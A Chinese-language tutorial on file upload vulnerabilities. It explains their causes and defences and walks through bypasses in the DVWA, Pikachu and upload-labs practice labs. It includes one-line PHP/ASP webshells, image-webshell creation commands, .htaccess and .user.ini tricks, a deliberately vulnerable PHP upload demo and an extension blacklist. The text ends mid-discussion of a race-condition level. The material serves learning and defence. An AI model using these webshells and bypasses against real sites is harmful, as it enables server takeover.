文件上传漏洞

1.文件上传漏洞基础

1.1 概述

文件上传漏洞是指 Web 应用在提供文件上传功能时,未对上传文件的类型、内容、存储路径或执行权限进行严格校验,导致攻击者可以上传服务器可解析、可执行的恶意脚本文件,并最终在服务器端执行任意代码的一类安全漏洞。

在实际业务中,文件上传功能非常常见,例如:

  • 用户头像上传
  • 图片/附件上传
  • OA 办公系统文档上传
  • 媒体资源上传
  • 富文本编辑器中的文件管理功能

如果开发者仅关注功能实现,而忽略安全控制,攻击者就可能通过上传点,将恶意脚本文件上传到服务器,并被 Web 服务或中间件解析执行,从而直接获取网站控制权,甚至服务器权限。

1.2 漏洞危害

如果攻击者成功上传恶意脚本,后果通常是非常严重的:

  • 获取 Webshell:上传的恶意脚本(Webshell)充当后门,攻击者可通过浏览器直接控制服务器。
  • 权限提升:以 Web 进程的权限执行系统命令,进一步提权(Privilege Escalation)控制整个服务器。
  • 横向移动:以被控服务器为跳板,攻击内网其他机器。
  • 数据泄露:查看、修改或窃取数据库及服务器文件系统中的敏感信息。
  • 挂马/篡改:修改网站首页,植入钓鱼代码或挖矿程序。

1.3 原理分析

1.3.1 漏洞产生的逻辑流程

来看下文件上传的基本流程

从 Web 应用的角度来看,一个完整的文件上传流程通常包括以下几个阶段:

  1. 客户端选择文件并提交请求 浏览器通过 选择本地文件,使用 multipart/form-data 方式向服务器发送 HTTP 请求。
  2. 服务器接收文件数据 Web 服务器或脚本引擎接收到请求后,会将上传文件暂存为一个临时文件
  3. 网站程序进行校验与判断 程序可能会检查:
    • 文件名
    • 文件后缀
    • MIME 类型
    • 文件大小
    • 文件内容特征(如文件头)
  4. 临时文件写入磁盘 上传文件会被暂存到系统指定的临时目录(如 PHP 的 upload_tmp_dir)。
  5. 移动到目标目录 程序调用如 move_uploaded_file() 等函数,将临时文件移动到网站指定的上传目录中。
  6. 通过 URL 访问文件 如果上传目录位于 Web 根目录下,且服务器对该文件类型支持解析,文件即可被直接访问并执行。

1.3.2 漏洞利用前提

要成功利用文件上传漏洞,必须同时满足以下三个条件(缺一不可):

  1. 可上传:必须存在上传点,且攻击者能绕过验证机制将文件传上去。
  2. 可访问:上传后的文件位置(URL)是用户可以访问的,而且需要知道文件名(可能会对文件重命名)。如果文件被存放在 Web 根目录之外,通常无法利用。
  3. 可执行:上传的文件所在目录具有执行权限,且 Web 服务器(如 Nginx/Apache)配置为解析该类型的后缀(如 .php)。

1.4文件上传漏洞分类

  1. 直接文件上传漏洞

    • 风险等级:高危
    • 描述:这是最危险的文件上传漏洞类型。攻击者可以直接上传恶意文件(如Webshell)到服务器,而无需任何限制或验证。一旦成功上传,攻击者可以轻松获取网站的控制权限,甚至进一步渗透到服务器的其他部分。
    • 示例:攻击者上传一个包含恶意代码的PHP文件,服务器直接解析该文件,攻击者通过Webshell控制网站。
  2. 有条件的上传漏洞

    • 风险等级:中到高危
    • 描述:这种漏洞通常是由于开发者经验不足或安全意识薄弱导致的。开发者可能对文件上传做了一些简单的限制,如仅在前端进行文件类型验证。然而,这些限制很容易被绕过,因为前端验证可以被绕过,攻击者可以通过修改请求头或使用工具绕过前端限制。
    • 示例:开发者仅在前端验证文件扩展名,攻击者通过修改文件扩展名或绕过前端验证上传恶意文件。
    • 绕过:禁用浏览器 JS,或使用 Burp Suite 抓包后修改文件后缀(如将 .jpg 改回 .php)。
  3. 文件头检测漏洞

    • 风险等级:中到高危
    • 描述:某些系统会检查文件头(Magic Number)来确定文件类型。然而,这种检测方法并不完全可靠,攻击者可以通过修改文件头来绕过检测。例如,将恶意代码嵌入到看似合法的图片文件中,服务器可能会错误地解析这些文件,导致安全问题。
    • 示例:攻击者将PHP代码嵌入到图片文件中,服务器错误地解析该文件,执行恶意代码。
    • MIME 类型检测:服务器只检查 Content-Type 字段。
      • 绕过:抓包将 Content-Type: application/octet-stream 修改为 Content-Type: image/jpeg
    • 文件头检测:服务器检查文件二进制的前几个字节(幻数)。
      • 绕过:制作“图片马”,在脚本头部添加 GIF89a 等图片文件头。
    • 黑名单限制:服务器禁止特定后缀(如 .php)。
      • 绕过:利用不常见的可执行后缀(如 .php5, .phtml, .asa, .cer)或大小写混合(.PhP)。
  4. 权限认证缺失漏洞

    • 风险等级:高危
    • 描述:如果文件上传页面没有进行适当的权限认证,攻击者可以匿名访问并上传文件。这可能导致攻击者上传Webshell或其他恶意文件,从而控制整个网站。
    • 示例:攻击者通过未受保护的上传页面上传Webshell,然后通过该Webshell控制网站。
  5. 上传逻辑漏洞

    • 风险等级:中到高危
    • 描述:这种漏洞是由于文件上传逻辑存在缺陷导致的。例如,开发者可能没有正确处理文件路径或文件名,导致攻击者可以通过路径遍历或文件名篡改绕过限制,上传恶意文件。
    • 示例:攻击者通过修改文件名或路径绕过文件上传限制,上传恶意文件到服务器。
  6. 中间件或系统特性利用漏洞

    • 风险等级:中到高危
    • 描述:某些文件上传漏洞是通过利用中间件或系统特性实现的。例如,某些服务器配置错误或中间件漏洞可能导致上传的文件被错误解析为脚本文件,从而执行恶意代码。
    • 示例:攻击者利用服务器配置错误,上传一个看似普通但会被服务器解析为脚本的文件,从而控制网站。
    • 00截断:在 PHP<5.3.4 中,文件名 evil.php%00.jpg 会被保存为 evil.php
    • 中间件解析漏洞
      • Apache:从右向左解析,evil.php.xxx 可能会被当做 php 执行。
      • Nginx/IIS:特定的配置错误导致将图片当作脚本解析(如 1.jpg/1.php 畸形路径)。

1.5 文件上传漏洞示例

以下是一个 PHP 上传漏洞demo

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Document</title>
</head>
<body>
    <?php
    if(isset($_POST["submit"])){
        // 1. 仅仅检查是否有传输错误,完全没有检查文件后缀、类型或内容
        if ($_FILES["file"]["error"] > 0) {
            echo "Error: " . $_FILES["file"]["error"] . "<br>";
        } else {
            // 打印文件信息(攻击者由此可知文件属性)
            echo "文件名: " . $_FILES["file"]["name"] . "<br>";
            echo "临时路径: " . $_FILES["file"]["tmp_name"] . "<br>";

            // 2. 保持原文件名:直接使用用户提供的文件名
            $file_name = $_FILES["file"]["name"]; 
            $path = "upload/";

            if(!is_dir($path)){ mkdir($path); }

            // 3. 直接移动文件到 Web 可访问目录,未重命名,未去除执行权限
            move_uploaded_file($_FILES["file"]["tmp_name"], $path . $file_name);

            echo "文件已成功保存至: " . $path . $file_name;
            // 攻击者现在可以直接访问 http://site.com/upload/evil.php 来执行代码
        }
    }
    ?>

    <form action="" method="post" enctype="multipart/form-data">
        <input type="file" name="file">
        <input type="submit" name="submit" value="提交">
    </form>
</body>
</html>

没有做任何显示,用户可以上传php文件

image-20260123104402451

上传成功后还贴心的给出了文件目录和名字

image-20260123104617285

可以解析,可以执行命令

image-20260123111253369

1.6 一句话木马 (Webshell)

Webshell 短小精悍,用于建立连接。

语言 常见后缀名 典型一句话木马代码
PHP .php, .php3, .phtml
ASP .asp, .cer, .asa, .cdx <%eval request("pass")%>
ASP.NET .aspx, .ashx <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
JSP .jsp, .jspx (通常较长,利用 Runtime 执行命令)

注意

  • 双写绕过:如果服务器将 php 替换为空,可尝试 pphphp(中间的 php 被删后,两头拼成 php)。
  • 短标签 有时可绕过对 php 的检测。

1.7 防御方法

1.7.1 代码层面

核心原则是“零信任”

1. 使用白名单策略

  • 后缀名白名单只允许业务必须的扩展名(如 ['jpg', 'png', 'gif'])。坚决不要使用黑名单(黑名单永远无法穷尽,如 .php5, .phtml, .asa 等漏网之鱼)。

常见黑名单后缀:

.php
.php5
.php4
.php3
.php2
.html
.htm
.phtml
.pht
.pHp
.phP
.pHp5
.pHp4
.pHp3
.pHp2
.Html
.Htm
.pHtml
.jsp
.jspa
.jspx
.jsw
.jsv
.jspf
.jtml
.jSp
.jSpx
.jSpa
.jSw
.jSv
.jSpf
.jHtml
.asp
.aspx
.asa
.asax
.ascx
.ashx
.asmx
.cer
.aSp
.aSpx
.aSa
.aSax
.aScx
.aShx
.aSmx
.cEr
.sWf
.swf
.htaccess
  • MIME 类型校验:检查 HTTP Header 中的 Content-Type,但不能只依赖它(易伪造)。
  • 必须配合文件头检查(幻数检查):读取文件二进制的前几个字节(Magic Number)。
    • 例如:JPG 文件头必须是 FF D8 FF,PNG 是 89 50 4E 47。防止攻击者将 PHP 代码仅仅改个后缀名就上传。

2. 只有服务端决定文件名与路径

  • 重命名文件(随机化)绝对禁止使用用户原始的文件名。
    • 做法:使用 UUIDMD5(时间戳 + 随机数) 生成新的文件名。
    • 目的:防止文件名包含特殊字符截断路径、防止覆盖现有文件、防止攻击者推测出文件路径。
  • 禁止客户端控制路径:文件保存的目录路径必须由服务端代码写死,严禁接收客户端传递的参数(如 $_POST['save_path'])来决定存储位置,防止目录遍历漏洞。

3. 图片二次渲染

  • 原理:对于图片文件,使用图像处理库(如 PHP 的 GD 库、ImageMagick)重新读取并生成一张新图片。
  • 目的:这将破坏图片中可能隐藏的“图片马”恶意代码(即文件尾部的 PHP 代码或元数据中的恶意 payload)。

1.7.2 配置层面

假设代码有漏洞,恶意文件传上去了,配置层面的防护能让它“无法执行”

1. 存储目录禁止脚本执行

  • 原理:在 Web 服务器(Nginx/Apache/IIS)中,将文件上传目录配置为“纯静态”模式。

  • Nginx 示例

    location /upload/ {
        # 禁止访问 .php 结尾的文件
        location ~ \.php$ { deny all; }
        # 或者强制不解析,只当纯文本下载
    }
    
  • Apache 示例:在上传目录下放入 .htaccess 文件:

    php_flag engine off
    SetHandler default-handler
    

2. 修复加固中间件

  • 及时打补丁:防止利用 Apache/Nginx/IIS 的已知解析漏洞。
  • 关闭危险配置:例如 Nginx 的 cgi.fix_pathinfo=0,防止“畸形解析漏洞”(即 a.jpg/b.php 将图片当 PHP 执行)。

1.7.3 架构层面

1. 文件服务器分离 / 使用 OSS

  • 做法:将文件上传到独立的对象存储服务(OSS)(如 AWS S3、阿里云 OSS)或独立的静态资源服务器。
  • 原理
    • OSS 根本没有 PHP/JSP 解析环境,上传任何脚本都只是一个普通文本文件,彻底杜绝了 Getshell 的可能。
    • 即使用户上传了木马,也只能在 OSS 上躺着,无法影响业务服务器。

2. 部署 WAF (Web应用防火墙)

  • 作用:WAF 可以实时检测上传请求的数据流,识别并拦截常见的 Webshell 特征代码(如 eval(), base64_decode 等)。

2.任意文件上传漏洞实战

2.1 DVWA文件上传

2.1.1 low

image-20260123134849411

可以看到,没有任何限制,所以直接上传一个 php 后门文件即可

后门文件如下:

<?php @eval($_POST['cmd']); ?>

image-20260123135021116

可以直接使用hackbar post方式执行命令

image-20260123135201339

也可以使用蚁剑连接,这里就不做演示了

2.1.2 Medium

可以看到,靶场对文件类型做了限制,只允许上传png、jpeg,并且检查

此时我们可以把一句话木马改为png后缀

然后使用bp抓包,将文件后缀改成php

image-20260123135407007

然后放包 ,可以看到,后门文件已经成功上传上去

image-20260123135426457

使用webshell连接同上

image-20260123135512978

2.1.3 High

看源代码可以发现,不仅限制了文件类型,而且限制了大小,要少于100kb

strrpos(string,find,start)函数返回字符串find在另一字符串string中最后一次出现的位置,如果没有找到字符串则返回false,可选参数start规定在何处开始搜索。

getimagesize(string filename)函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”.jpg”、”.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。

可以上传一个图片马,打开cmd,输入以下命令:

copy  123.png/b + shell2.php/a  321.png
或者copy /b 1.jpg + 2.php 3.jpg

image-20260123135958362

点击上传,这里可以抓包看看请求包,可以看到在正常图片内容后,加了一句话木马

image-20260123141920851

此时已经上传成功,但不能利用,此时是被当成图片解析

image-20260123142029508

这种情况一般需要结合其他漏洞组合使用,比如文件包含或者命令执行

这里使用low的文件包含演示,直接包含可以看到图片内容已经被包含过来了

image-20260123143844295

测试php效果,可以解析运行php

image-20260123143746680

2.2 Pikachu文件上传

2.2.1 client check

我们先写一个一句话木马,并修改文件后缀名为php

回到题目,上传木马文件,发现提示我们文件不合法

检查源代码发现是前端验证的

我们可以通过禁用javascript进行绕过,使用之前的一键禁用js插件,上传

当然也可以直接将js删了,或者先把一句话木马的文件类型改成png,上传的时候burp抓包再把后缀改回来即可,方法很多。

访问上传的这个文件

空白基本上就代表上传成功了,我们使用蚁剑连接

连接成功,这里的连接密码就是我们POST请求中的参数

2.2.2 MIME type

我们上传之前的一句话木马并用bp进行抓包

我们把文件类型改为图片类型

放包,显示上传成功

后面依旧是蚁剑连接,我就不演示了

2.2.3 getimagesize

这一关我们可以使用图片马,图片马制作方法有很多

首先可以使用nopepad++打开图片,直接在图片末尾加上一句话木马

也可以使用cmd将一个图片和木马文件合成

制作图片一句话,使用copy /b 1.jpg + 2.php 3.jpg,将php文件附加到jpg图片上,直接上传即可。(为了图片格式标准,此处建议使用QQ截图保存的图片) image-20240128184808961

这一关,我们也可以直接上传一个正常的图片并用bp抓包

中间这串乱码就是我们图片的内容

我们可以往下翻,直接把一句话木马写在这里

注意不要写在文件头部,这里会对文件头进行检测,看看是不是图片类型

放包,上传成功

我们使用蚁剑连接

这里我们会发现连接不上,因为这是jpg文件,php代码并不会执行,这里我们需要配合文件包含进行连接

/vul/fileinclude/fi_local.php?filename=替换成上面的文件路径&submit=提交

这里乱码基本就代表php执行了,我们用蚁剑连接一下

连接成功

3.upload-labs靶场实战

3.0 靶场安装

upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助网络攻防初学者对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。

文件上传漏洞是一种常见的安全问题,允许攻击者将恶意文件上传到一个网站。这些恶意文件可能是后门、WebShell或其他恶意脚本,一旦上传成功,攻击者就能够执行服务器端的代码,从而完全控制受害的网站或服务器。

靶场项目地址为: https://github.com/c0ny1/upload-labs/releases/tag/0.1

这里给出的项目是自带phpstudy环境的,可以一键搭建使用,下面是搭建教程:

将安装包解压,得到一个文件夹(注意路径不要有中文)

img

先双击 modify_path.bat 文件自动修改配置

image-20260123145625090

然后双击 phpStudy.exe 运行程序

img

然后点击启动,Apache后面的红色框变为绿色即代表启动成功

img

然后来到浏览器,在地址栏输入http://127.0.0.1或http://localhost即可访问靶场,如果burp抓不到包,访问自己本地ip地址,比如自己电脑Ip为192.168.31.182,访问http://192.168.31.182即可抓到包 image-20260123145726192

3.1 Pass-01 绕过前端 js 检测上传

3.1.1 简介

在文件上传时,用户选择文件时,或者提交时,有些网站会对前端文件名进行验证,一般检测后缀名,是否为上传的格式。如果上传的格式不对,则弹出提示文字。此时数据包并没有提交到服务器,只是在客户端通过 js 文件进行校验,验证不通过则不会提交到服务器进行处理。 image-20240128182628130

3.1.2 代码分析

image-20240128182634199

3.1.3 绕过 js 检测方法

1、按 F12 使用网页审计元素,把校验的上传文件后缀名文件删除,即可上传。 2、把恶意文件改成 js 允许上传的文件后缀,如 jpg、gif、png 等,再通过抓包工具抓取 post 的数据包,把后缀名改成可执行的脚本后缀如php 、asp、jsp、net 等,即可绕过上传。

3.1.4 删除 js 文件

image-20240128182641580 image-20240128182648812 image-20240128182654086

3.1.5 抓包修改后缀名

先把muma.php的后缀名改为jpg image-20240128182701687 image-20240128182707856

3.2 Pass-02 绕过 contnet-type 检测上传

3.2.1 简介

有些上传模块,会对 http 的类型头进行检测,如果是图片类型,允许上传文件到服务器,否则返回上传失败。因为服务端是通过content-type 判断类型,content-type 在客户端可被修改。则此文件上传也有可能被绕过的风险。 https://www.runoob.com/http/http-content-type.html

3.2.2 代码分析

pass-02 首先进行 submit 提交判断,再检测文件类型如果是 image/jpeg 或者 image/png,即允许上传。 image.png

3.2.3 上传攻击

image.png

3.3 Pass-03 黑名单绕过上传

3.3.1 简介

上传模块,有时候会写成黑名单限制,在上传文件的时获取后缀名,再把后缀名与程序中黑名单进行检测,如果后缀名在黑名单的列表内,文件将禁止文件上传。

3.3.2 代码分析

pass-03 首先是检测 submit 是否有值,获取文件的后缀名,进行黑名单对比,后缀名不在黑名单内,允许上传。

image-20240128183045453

3.3.3 上传攻击

上传图片时,如果提示不允许 php、asp 这种信息提示,可判断为黑名单限制,上传黑名单以外的后缀名即可。

在 iis 里 asp 禁止上传了,可以上传 asa cer cdx 这些后缀,如在网站里允许.net执行 可以上传 ashx 代替 aspx。如果网站可以 执行这些脚本,通过上传后门即可获取 webshell。

在不同的中间件中有特殊的情况,如果在apache可以开启application/x-httpd-php,在 AddType application/x-httpd-php .php .php3 .phtml后缀名为.phtml、.php3均被解析成php,有的apache版本默认开启。

上传目标中间件可支持的环境的语言脚本即可,如.phtml、php3。 image-20240128192109903

image.png

3.4 Pass-04. htaccess 重写解析绕过上传(小皮的Apache有问题)

3.4.1 简介

上传模块,黑名单过滤了所有的能执行的后缀名,如果允许上传.htaccess。.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

通俗点来说,在文件上传类型的题目中,我们就是要利用这个文件,修改服务器的配置,让服务器将文件内容符合php语法的.png结尾的文件解析为php语言去执行。

在.htaccess里写入SetHandler application/x-httpd-php,则可以文件重写成php文件。

要 htaccess 的规则生效,则需要在apache开启rewrite 重写模块,因为apache是多数都开启这个模块,所以规则一般都生效。

3.4.2 代码分析

pass-04 上传的文件后缀名在列表内禁止上传。包括了所有的执行脚本。 image-20240128183253173

3.4.3 上传攻击

上传.htaccess到网站里,.htaccess 内容是

<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>

制作图片马,或者这里直接把下面php代码改后缀也可以

GIF89a
<?php @eval($_POST['cmd']); ?>

上传恶意的jpg到.htaccess相同目录里,访问图片即可获取执行脚本。 image-20240128183300450 image-20240128183306560 当图片上传成功之后,即使格式是jpg的,也一样会被当成php脚本执行 image-20240128183312639

3.5 Pass-05

3.5.1 大小写绕过上传

3.5.1.1 简介

有的上传模块后缀名采用黑名单判断,但是没有对后缀名的大小写进行严格判断,导致可以更改后缀大小写可以被绕过。

3.5.1.2 代码分析

pass-05 获取文件后缀名进行判断,如果后缀在这个字典里就禁止上传。 image-20240128183319128

3.5.1.3 上传攻击

仔细阅读黑名单,查看是否有被忽略的后缀名,当前可以使用 phP 绕过。 image-20240128183327586 image-20240128184143774

3.5.2 user.ini 绕过

3.5.2.1 简介

.user.ini

自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。

.user.ini的妙用原理

.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如1.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./1.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。

利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。

利用.user.ini的环境

有时候我们进行文件上传的时候,站点不仅在前端做了白名单处理,还在后端做了黑名单处理以及文件类型的检验且服务器没有配置"AddType application/x-httpd-php .php .phtml",这时我们就不能通过简单的绕过前端验证修改数据包的 Content-Type 并将文件后缀改为 phtml 以此来利用文件上传漏洞。

这时我们就需要利用.user.ini进行配合,使得我们上传的图片格式的webshell也能够被解析,以此成功利用漏洞拿到shell权限。

3.5.2.2 上传攻击

先利用第一关上传一个 test.php,内容可以随便写,比如定义一个变量之类的

制作一个 .user.ini 文件,意思是无论访问当前目录下哪个 PHP 文件都会自动去包含 ma.jpg 这个文件

auto_append_file=ma.jpg

上传 .user.ini

img

上传 ma.jpg

img

访问 test.php 文件,发现自动包含了 ma.jpg

img

3.6 Pass-06 空格绕过上传

3.6.1.1 简介

在上传模块里,采用黑名单上传,如果没有对空格进行去掉可能被绕过。

3.6.1.2 代码分析

pass-06 检测 submit 后 上传目录存在时,进入黑名单判断。如果文件后缀名在黑名单里。 不允许上传,但是文件后缀名,没有过滤空格,可以添加空格绕过。 image-20240128184155674

查看源码,发现这题没有对文件后缀名进行首尾去空的操作。

3.6.1.3 上传攻击

抓包上传,在后缀名后添加空格 image-20240128184209361 image-20240128184216816

3.7 Pass-07 利用 windows 系统特征绕过

3.7.1 简介

在 windows 中文件后缀名的点“.”,系统会自动忽略。所以shell.php.和shell.php的效果一样。可以在文件名后面加上.绕过。

3.7.2 源码分析

pass-07 同样是黑名单禁止上传,但是可以上传.php.这种文件后缀。 image-20240128184222824

3.7.3 绕过攻击

抓包修改在后缀名后加上.即可绕过。 image-20240128184231645 image-20260123155053804

3.8 Pass-08 NTFS 交换数据流::$DATA 绕过上传

3.8.1 简介

如果后缀名没有对::$DATA 进行判断,利用 windows 系统 NTFS 特征可以绕过上传。 在window的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

例如:phpinfo.php::$DATAWindows会自动去掉末尾的::$DATA变成phpinfo.php

3.8.2 代码分析

pass-08 同样用黑名单过滤后缀名。但是程序中没有对::$DATA进行过滤可以添加::$DATA绕过上传。 image-20240128184244205

3.8.3 上传攻击

burpsuite 抓包,修改后缀名为 php::$DATA image-20240128184248715 image-20240128184253280

3.9 Pass-09

3.9.1 利用 windows 环境的叠加特征绕过

3.9.1.2 简介

在 windwos 中如果上传文件名 phpinfo.php:.jpg 的时候,会在目录下生产空白的文件名 phpinfo.php,再利用 php 和 windows环境的叠加属性。 以下符号在正则匹配时相等: 双引号" 等于 点号. 大于符号> 等于 问号? 小于符号< 等于 星号* 文件名.< 或 文件名.<<< 或 文件名.>>> 或 文件名.>><空文件名

3.9.1.2 代码分析

pass-09 同样是黑名单匹配,把.去掉,把空格过滤了,::$data 也过滤了。 image-20240128184259349

3.9.1.3 上传攻击

首先抓包上传 a.php:.jpg 上传会在目录里生成 a.php 空白文件,接着再次提交把a.php 改成 a.>>> image-20240128184304449 image-20240128184309798 image-20240128184315292 image-20240128184325830 image-20240128184330841

3.9.2 点空格点绕过

3.9.2.1 简介

这关的切入点在 $img_path = UPLOAD_PATH.'/'.$file_name; 发现保存的文件名就是我们上传的文件名,在Windows系统中尝试保存shell.php. .时,发现最终保存的是shell.php,后面的.和空格都被删掉了。利用这个特性(Linux系统就不行),直接上传shell.php,抓包将文件名改成shell.php. .(由于删除点的函数会删除连续的点所以在中间加上空格)

这样它最终解析的后缀只有一个点,成功绕过黑名单

3.9.2.2 上传攻击

抓包,在后缀加上. .(中间有个空格)

image-20260123160348845

image-20260123160921959

3.10 Pass-10 双写后缀名绕过

3.10.1 简介

在上传模块,有的代码会把黑名单的后缀名替换成空,例如 a.php 会把 php 替换成空,但是可以使用双写绕过例如 asaspp,pphphp,即可绕过上传。

3.10.2 代码分析

pass-10 同样是黑名单过滤。str_ireplace 对上传的后缀名是黑名单内的字符串转换成空。 image-20240128184339917

3.10.3 上传攻击

抓包上传,把后缀名改成 pphphp 即可绕过上传 image-20240128184346044 image-20240128184350403

3.11 Pass-11 目录可控%00 GET截断绕过

3.11.1 简介

以上都是一些黑名单被绕过的,如果黑名单上传检测后,没有限定后缀名,绕过的方法很多,与黑名单相对的就是白名单,使用白名单验证会相对比较安全,因为只允许指定的文件后缀名。但是如果有可控的参数目录,也存在被绕过的风险。

3.11.2 代码分析

pass-11 代码中使用白名单限制上传的文件后缀名,只允许指定的图片格式。但是$_GET['save_path']服务器接受客户端的值,这个值可被客户端修改。所以会留下安全问题。 image-20240128184355652

3.11.3 上传攻击

上传参数可控: 1、当 gpc 关闭的情况下,可以用%00 对目录或者文件名进行截断。 2、php 版本小于 5.3.4,建议直接使用作者提供的集成环境 https://github.com/c0ny1/upload-labs/releases 关闭magic_quotes_gpc=off image-20240128184400633 首先截断攻击,抓包上传将%00 自动截断后面内容。 例如:1.php%00.1.jpg 变成 1.php image-20240128184405461 image-20240128184409744 image-20240128184416347 image-20240128184420838

3.12 Pass-12 目录可控 %00 POST截断绕过

3.12.1 简介

上面是 GET 请求的,可以直接在 url 输入%00 即可截断,但是在 post 下直接注入%00 是不行的,需要把%00 解码变成空白符,截断才有效。才能把目录截断成文件名。

3.12.2 代码分析

pass-12 这段代码同样是白名单限制后缀名,$_POST['save_path']是接收客户端提交的值,客户端可任意修改。所以会产生安全漏洞。 image-20240128184736682

3.12.3 上传攻击

文件名可控,通过抓包修改可控的参数,与不同的中间件的缺陷配合使用。 使用%00 截断文件名,在 post 环境下%00 要经过 decode,但是受 gpc 限制使用 burpsutie POST %00 截断文件名。 image-20240128184741773 image-20240128184747085 image-20240128184752409

3.13 Pass-13 文件头检测绕过

3.13.1 简介

有的文件上传,上传时候会检测头文件,不同的文件,头文件也不尽相同。常见的文件上传图片头检测,它检测图片是两个字节的长度,如果 不是图片的格式,会禁止上传。 常见的文件头: 1、JPEG (jpg),文件头:FFD8FF 2、PNG (png),文件头:89504E47 3、GIF (gif),文件头:47494638 4、TIFF (tif),文件头:49492A00 5、Windows Bitmap (bmp),文件头:424D

3.13.2 代码分析

pass-13 这个是存在文件头检测的上传,getReailFileType 是检测 jpg、png、gif 的文件头,如果上传的文件符合数字即可通过检测。 image-20240128184758195

3.13.3 上传攻击

3.13.3.1 方法1:制作图片马

制作图片一句话,使用copy /b 1.jpg + 2.php 3.jpg,将php文件附加到jpg图片上,直接上传即可。(为了图片格式标准,此处建议使用QQ截图保存的图片) image-20240128184808961 image-20240128184814368 此处有个文件包含漏洞,在网站根目录下发现了include.php文件 image-20240128184819697 利用include.php文件,访问此图片 image-20240128184825446

3.13.3.2 方法2:数据包头加上 GIF89a

image.png

image.png

3.14 Pass-14 图片检测函数绕过

3.14.1 代码分析

pass-14 getimagesize 是获取图片的大小,如果头文件不是图片会报错直接可以用图片马绕过检测。 image-20240128184932539

3.14.2 绕过攻击

image-20240128184939002 image-20240128184944455

3.15 Pass-15 php_exif模块绕过

3.15.1 简介

exif_imagetype()读取一个图像的第一个字节并检查其后缀名。返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块。

3.15.2 代码分析

function isImage($filename){
    //需要开启php_exif模块
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

exif_imagetype函数跟上一关的函数类似,只不过要打开php的exif扩展

打开后剩下的步骤和上一关一样,直接将上一关改好的shell.php拿过来用,上传之后利用文件包含漏洞包含带木马的文件

3.16 Pass-16 绕过图片二次渲染

3.16.1 简介

有些图片上传,会对上传的图片进行二次渲染后在保存,体积可能会更小,图片会模糊一些,但是符合网站的需求。例如新闻图片封面等可能需要二次渲染,因为原图片占用的体积更大。访问人数太多时候会占用很大带宽。二次渲染后的图片内容会减少,如果里面包含后门代码,可能会被省略。导致上传的图片马,恶意代码被清除。

3.16.2 代码分析

pass-16 只允许上传 JPG PNG gif,在源码中使用imagecreatefrom函数对图片进行二次生成。生成的图片保存在upload 目录下。 image-20240128184951513

这一关对上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接

补充知识:

二次渲染:后端重写文件内容 basename(path[,suffix]) ,没指定suffix则返回后缀名,有则不返回指定的后缀名 strrchr(string,char)函数查找字符串在另一个字符串中最后一次出现的位置,并返回从该位置到字符串结尾的所有字符。 imagecreatefromgif():创建一块画布,并从 GIF 文件或 URL 地址载入一副图像 imagecreatefromjpeg():创建一块画布,并从 JPEG 文件或 URL 地址载入一副图像 imagecreatefrompng():创建一块画布,并从 PNG 文件或 URL 地址载入一副图像

这里有个小提示,对于做文件上传之二次渲染建议用GIF图片,相对于简单一点

上传正常的GIF图片下载回显的图片,用010Editor编辑器进行对比两个GIF图片内容,找到相同的地方(指的是上传前和上传后,两张图片的部分Hex仍然保持不变的位置)并插入PHP一句话,上传带有PHP一句话木马的GIF图片

3.16.3 绕过图片二次渲染

首先判断图片是否允许上传 gif,gif 图片在二次渲染后,与原图片差别不会太大。所以二次渲染攻击最好用 gif图片马。 制作图片马: 将原图片上传,下载渲染后的图片进行对比,找相同处,覆盖字符串,填写一句话后门,或者恶意指令。 使用工具:HxDHexEditor2.3.0.0或者010Editor image-20240128185000508 image-20240128185006871 image-20240128185013070

3.17 Pass-17 条件竞争绕过文件删除

条件竞争漏洞(Race condition)官方概念是——竞争条件发生在多个线程同时访问同一个共享代码、变量、文件等没有进行锁操作或者同步操作的场景中。服务器对上传文件的操作大多数都是单线程处理,当我们执行多个线程时可以绕过一些服务器端的防御。 这里使用了unlink函数来删除不符合的文件,但代码执行的过程是需要耗费时间的。如果我们能在上传的一句话被删除之前访问就可以了。这个也就叫做条件竞争上传绕过。 image-20240128185018150

从源码来看,服务器先是将上传的文件保存下来,然后将文件的后缀名同白名单对比,如果是jpg、png、gif中的一种,就将文件进行重命名。如果不符合的话,unlink()函数就会删除该文件。

这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。

那还怎么搞?上传上去就被删除了,我还怎么去访问啊。

